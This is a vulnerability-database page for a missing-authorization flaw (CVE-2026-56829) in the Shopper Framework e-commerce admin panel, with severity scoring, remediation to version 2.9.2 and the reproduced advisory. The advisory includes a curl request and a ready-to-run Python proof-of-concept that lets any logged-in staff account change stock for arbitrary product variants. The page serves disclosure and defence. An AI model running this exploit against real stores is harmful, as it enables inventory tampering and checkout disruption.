Skip to main content

Shopper Framework CVE-2026-56829

| EUVDEUVD-2026-78914 HIGH
Missing Authorization (CWE-862)
2026-09-11 https://github.com/shopperlabs/shopper GHSA-g3f9-g5vj-p62f
8.1
CVSS 3.1 · Vendor: https://github.com/shopperlabs/shopper
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to admin panel with any role
  2. Delivery
    Capture own laravel_session and XSRF-TOKEN cookies
  3. Exploit
    Craft Livewire snapshot with arbitrary variant ID substituted in data.variant
  4. Execution
    POST callAction('stock', {inventory, quantity}) to /shopper/livewire/update
  5. Persist
    stockAction() executes with no authorization gate consulted
  6. Impact
    Inventory level of any target variant set to attacker-controlled value

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an active authenticated session on the Shopper admin panel - any role qualifies, including browse-only roles such as browse_products or browse_orders that hold no edit permissions. The attacker must supply their own valid laravel_session cookie and URL-decoded XSRF-TOKEN value obtained from their own normal browser login; no victim session hijacking is needed. The target endpoint is /shopper/livewire/update, which must be network-reachable. The attack is not limited to variants visible on the attacker's current page; any integer variant ID in the database is targetable. Exploitation is bounded to admin-panel-authenticated users only - unauthenticated public visitors cannot reach the Livewire endpoint.

Impact

CVSS 3.1 scores this 8.1 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H. PR:L accurately reflects the authenticated prerequisite - exploitation requires any admin-panel session, not an unauthenticated request. Attack complexity is genuinely low: the advisory embeds a complete, ready-to-run Python proof-of-concept requiring only a session cookie and XSRF token from the attacker's own legitimate login. No KEV listing and no EPSS data were provided in the input intelligence, so exploitation probability beyond the existing PoC is unknown. The A:H rating is credible because bulk zeroing of all variant stock produces store-wide out-of-stock states that block checkout without any elevated privilege. The primary limiting factor is the authenticated admin-panel prerequisite; external customers cannot exploit this.

Exploit ScenarioDerived

A browse-only staff member with only the browse_products role logs into the Shopper admin panel, captures their own laravel_session cookie and XSRF-TOKEN, then POSTs a Livewire update request to /shopper/livewire/update with the snapshot's data.variant field set to an arbitrary variant integer ID and quantity set to 0. All targeted variants are zeroed out, triggering store-wide out-of-stock states that block customer checkout; the attacker can equally inflate stock counts to bypass stock-gating. A complete Python PoC is embedded in the public GitHub Security Advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 11, 2026

Inventory stock manipulation in Shopper Framework allows any authenticated admin-panel user - including roles limited to browse_products with zero edit rights - to set stock levels for any product variant in the database to an arbitrary value. The attack combines two compounding failures in the Livewire VariantStock component: the public $variant property lacks the #[Locked] attribute, making the variant ID client-substitutable via wire payload, and the stockAction() method carries no ->authorize() chain, so PHP's permission gate is never consulted. A detailed Python proof-of-concept is publicly embedded in GitHub Security Advisory GHSA-g3f9-g5vj-p62f; the fix is available in version 2.9.2.

RemediationAI

Vendor-released patch: 2.9.2. Update the shopper/framework Composer package to version 2.9.2 or later via composer require shopper/framework:^2.9.2. The fix applies the #[Locked] Livewire attribute to public $variant to prevent client-side ID substitution, and adds ->authorize('edit_product_variants') to the stockAction() definition. As a short-term compensating control for environments that cannot patch immediately, tighten admin-panel role assignments so that only users explicitly holding edit_product_variants permission can reach the VariantStock component route - note this is defense-in-depth and does not fix the underlying authorization gap, since the missing ->authorize() call means even correctly-scoped future role changes may not protect the endpoint. Full advisory: https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f.

Affected VersionsENISA

Shopper < 2.9.2

Affected Packages

composer shopper/framework fix: 2.9.2
euvd shopper fix: 2.9.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Shopper Framework is a Laravel-based e-commerce admin panel (Composer package shopper/framework) that builds its admin UI on the Livewire component system. In Livewire, public component properties are serialized into a signed snapshot transmitted to the browser; without the #[Locked] attribute, clients can freely substitute any value for a model-binding property on the next wire request, enabling IDOR-class variant ID substitution. The affected file packages/admin/src/Livewire/Components/Products/VariantStock.php (lines 34-91) exposes public $variant without locking. CWE-862 (Missing Authorization) applies because the stockAction() Filament-style Action object never invokes ->authorize('edit_product_variants') or any equivalent Laravel gate check; the authorization layer is bypassed regardless of the authenticated user's role.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/shopperlabs/shopper) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
vuln.today AI 8.1 HIGH

Network-accessible admin panel, low complexity; PR:L for any authenticated admin-panel session regardless of role; stock zeroing produces both integrity and availability impact; no confidentiality impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/shopperlabs/shopper).

CVSS VectorVendor: https://github.com/shopperlabs/shopper

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionCVE.org

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
php
// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

bash
# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.
# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

python
#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

php
// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Technical POC Analysis

CWE-862 (Missing Authorization), compounded by an unlocked Livewire model binding.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Shopper Framework installations face a critical inventory control vulnerability with publicly available exploit code that permits authenticated employees-even those with minimal product-viewing permissions-to arbitrarily adjust stock quantities for any product variant. This creates exposure to inventory fraud, financial loss through overselling or false scarcity claims, and operational disruption for any organization deploying this framework.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 60% exploitable
Prevalence
Low
niche Laravel e-commerce admin panel, limited market share
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy